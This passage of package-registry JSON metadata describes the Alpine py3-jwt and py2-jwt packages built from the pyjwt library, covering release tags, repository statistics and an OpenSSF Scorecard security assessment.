fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:33.370Z","dependent_packages_count":1,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":9.376124343383465,"stargazers_count":2.252284665755199,"forks_count":2.309851046988559,"average":3.484565014031806},"purl":"pkg:apk/alpine/py3-jwt?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.13","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages/py3-jwt/codemeta","maintainers":[],"registry":{"name":"alpine-v3.13","url":"https://pkgs.alpinelinux.org/packages?branch=v3.13","ecosystem":"alpine","default":false,"packages_count":13897,"maintainers_count":231,"namespaces_count":2,"keywords_count":1898,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":592},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-01-31T17:27:50.734Z","updated_at":"2026-06-10T05:11:58.586Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.13/namespaces"}},{"id":6059622,"name":"py2-jwt","ecosystem":"alpine","description":"Python JSON Web Token implementation (for python2)","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"main","versions_count":1,"first_release_published_at":"2019-05-05T12:16:33.000Z","latest_release_published_at":"2019-05-05T12:16:33.000Z","latest_release_number":"1.7.1-r1","last_synced_at":"2026-04-15T02:02:38.202Z","created_at":"2023-01-31T19:03:38.237Z","updated_at":"2026-05-29T04:00:33.636Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.10/main/x86_64/py2-jwt","install_command":"apk add py2-jwt","documentation_url":null,"metadata":{"repository":"main","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release 